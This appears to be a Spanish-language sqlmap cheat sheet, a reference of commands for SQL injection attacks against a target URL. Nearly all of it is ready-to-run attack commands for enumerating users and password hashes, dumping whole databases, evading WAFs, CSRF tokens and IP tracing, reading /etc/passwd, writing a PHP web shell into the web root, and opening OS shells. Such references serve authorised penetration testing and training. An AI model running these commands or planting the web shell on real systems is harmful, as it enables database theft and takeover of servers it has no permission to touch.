sqlmap
General
# Ejecución de sqlmap general desde request guardado en archivo
sqlmap -r request.txt --level=5 --risk=3 --random-agent --threads=10 --batch --flush-session --hostname
Parámetros principales
-u "<URL>"
--user-agent='<user-agent>'
--cookie='<cookie>'
--header='<header>'
--level=<1-5> # default 1
--risk=<1-3> # default 1
--technique=<technique> # default "BEUSTQ"
--skip-waf # omitir prueba heurística de WAF
--batch # no espera respuesta del usuario, utiliza comportamiento por defecto
--flush-session # limpia sesión
--threads=10
--dump-all --exclude-sysdbs # obtener la información de todas las bases de datos
--technique = técnica.
B = Boolean-based blind SQLi.
E = Error-based SQLi.
U = Union-based SQLi.
S = Stacked queries SQLi.
T = Time-based blind SQLi.
Q = Inline queries SQLi.
Manejo de errores
# Mostrar mensajes de error de DBMS
--parse-errors
# Almacenar todo el tráfico en un archivo de texto
-t /tmp/sqlmap-traffic.txt
# Nivel de detalle de los mensajes de salida
-v <0-6>so
Enumeración general
--hostname
--banner
--current-db
--current-user
--is-dba
--users
--privileges
--roles
--passwords
Enumeración de base de datos
# Obtener estructura completa del DBMS
--schema
# Buscar tablas por nombre
--search -T <table-name>
--search -T user
# Buscar columnas por nombre
--search -C <column-name>
--search -C pass
# Proceso completo de enumeración
--all --batch
Bypass de protecciones
# Bypass de lista negra de HTTP User-Agent
--random-agent
# Bypass de token anti-CSRF
--csrf-token="<token-parameter-name>"
# Bypass de valor único
--randomize=<parameter-name>
# Bypass de parámetro calculado
--eval="<python-code>"
--eval="import hashlib;id2=hashlib.md5(id).hexdigest()"
# Ocultar dirección IP
--proxy
--proxy-file
--tor
--check-tor
# Manipulación y ofuscación de payloads
--tamper="<script>"
# Transferencia fragmentada
--chunked
# HTTP parameter pollution (HPP)
--hpp
DataBase Management System (DBMS)
sqlmap -u "http://<target>/" --dbms=<dbms>
-u = URL.
<target> = objetivo.
--dbms = DataBase Management System, por ejemplo:
mysql
,mssql
,postgresql
,oracle
,ibmdb2
, etc.
GET request
sqlmap -u "http://<target>/param1=value1¶m2=value2" --method GET
sqlmap -u "http://<target>/param1=value1¶m2=value2" --method GET -p "<param1>,<param2>"
-u = URL.
<target> = objetivo.
-p = parámetros a revisar.
POST request
sqlmap -u "http://<target>/" --method POST --data "param1=value1¶m2=value2"
sqlmap -u "http://<target>/" --method POST --data "param1=value1¶m2=value2" -p "<param1>,<param2>"
-u = URL.
<target> = objetivo.
--data = información del POST request.
-p = parámetros a revisar.
Request desde archivo
sqlmap -r <request.txt> -p <param>
sqlmap -r <request.txt> --header="<header1>: <value1>*" --header="<header2>: <value2>*" --header="<header3>: <value3>*"
-r = archivo de request.
<request.txt> = archivo con request.
-p = parámetro.
<param> = parámetro vulnerable.
--header = HTTP header.
<header1> = nombre de HTTP header vulnerable.
<value1> = valor de HTTP header vulnerable.
Listar bases de datos
sqlmap -u "http://<target>/" --dbs
-u = URL.
<target> = objetivo.
--dbs = listar bases de datos.
Listar tablas de base de datos
sqlmap -u "http://<target>/" -D <database> --tables
-u = URL
<target> = objetivo.
-D = base de datos.
<database> = nombre de base de datos.
--tables = listar tablas de base de datos.
Listar columnas de tabla
sqlmap -u "http://<target>/" -D <database> -T <table> --columns
-u = URL
<target> = objetivo.
-D = base de datos.
<database> = nombre de base de datos.
-T = tabla.
<table> = nombre de tabla.
--columns = listar columnas de tabla.
Obtener información de tabla
sqlmap -u "http://<target>/" -D <database> -T <table> --dump
-u = URL
<target> = objetivo.
-D = base de datos.
<database> = nombre de base de datos.
-T = tabla.
<table> = nombre de tabla.
--dump = obtener información de tabla.
--dump-format = formato de exportación de datos obtenidos.
CSV (por defecto).
HTML.
SQLite.
Filtrar obtención de información de tabla
--start=<start-row-number> --stop=<end-row-number>
--where="<column-name> LIKE '<initial-characters>%'"
Lectura de archivos
--file-read "<file>"
--file-read "/etc/passwd"
Escritura de archivos
--file-write "<file>" --file-dest "/tmp/file"
Escritura de web shell.
<?php echo system($_GET['cmd']); ?>
--file-write "webshell.php" --file-dest "/var/www/html/webshell.php"
Shell
# Shell
sqlmap -u "http://<target>/" --os-shell
sqlmap -u "http://<target>/" --os-shell --technique=<technique>
sqlmap -u "http://<target>/" --os-cmd <comando>
# SQL query shell
sqlmap -u "http://<target>/" --sql-shell
sqlmap -u "http://<target>/" --sql-query <query>
Última actualización
¿Te fue útil?